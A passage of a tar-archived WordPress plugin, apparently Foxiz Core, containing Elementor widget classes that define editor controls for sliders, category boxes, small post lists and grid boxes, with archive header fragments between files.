'slider', array( 'label' => esc_html__( 'Slider', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::slider_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'slider_dot', array( 'label' => esc_html__( 'Pagination Dot', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable or disable the pagination dot for this slider.', 'foxiz-core' ), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'slider_nav', array( 'label' => esc_html__( 'Next/Prev', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable or disable the next/prev navigation dot for this slider', 'foxiz-core' ), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->add_responsive_control( 'slider_nav_position', array( 'label' => esc_html__( 'Next/Prev Icons Top Position', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => esc_html__( 'Input a position (percent) from the top for the next and prev slider buttons.', 'foxiz-core' ), 'selectors' => array( '.post-slider .slider-prev, .post-slider .slider-next' => 'top: {{VALUE}}%;' ), 'default' => '', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_overlay_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_overlay_1( $settings ); } } }elementor/categories-4.php000064400000022042147206624460011550 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'Categories', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'category_list_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'To set featured images for each category, navigate to "Posts > Categories > Edit > Featured Images".', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $categories = new Repeater(); $categories->add_control( 'category', array( 'label' => esc_html__( 'Select a Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::cat_slug_dropdown( 'post', esc_html__( '- Select a category -', 'foxiz-core' ) ), 'default' => '', ) ); $this->add_control( 'categories', array( 'label' => esc_html__( 'Add Categories', 'foxiz-core' ), 'type' => Controls_Manager::REPEATER, 'fields' => $categories->get_controls(), 'default' => array( array( 'category' => '', 'image' => '' ) ), 'title_field' => '{{{ category }}}', ) ); $this->end_controls_section(); $this->start_controls_section( 'design_section', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .cbox-4 .cbox-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_control( 'count_posts', array( 'label' => esc_html__( 'Count Posts', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable or disable total posts information of each category.', 'foxiz-core' ), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'follow', array( 'label' => esc_html__( 'Follow Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::switch_dropdown( false ), 'description' => esc_html__( 'Enable or disable follow button.', 'foxiz-core' ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}}' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Category Name Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .cbox-title > *', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Count Posts Font', 'foxiz-core' ), 'name' => 'count_font', 'selector' => '{{WRAPPER}} .cbox-count.is-meta', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom bottom margin values (px) between category items.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_categories_4' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_categories_4( $settings ); } } }elementor/list-small-1.php000064400000054124147206624460011507 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '5', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => 'date' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown( false ), 'default' => 'replace', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-list-small-1 .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to section 25 ~ 33% of width with 1 column.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4, 5, 6 ) ), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4, 5, 6 ) ), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'scroll_section', array( 'label' => esc_html__( 'Scrolling Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'scroll', array( 'label' => esc_html__( 'Scroll Bar', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::scroll_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'scroll_height', array( 'label' => esc_html__( 'Block Height', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::scroll_height_description(), 'default' => '', 'selectors' => array( '{{WRAPPER}} .scroll-holder' => 'max-height: {{VALUE}}px;' ) ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_list_small_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_list_small_1( $settings ); } } }elementor/grid-box-1.php000064400000100614147206624460011135 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '3', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 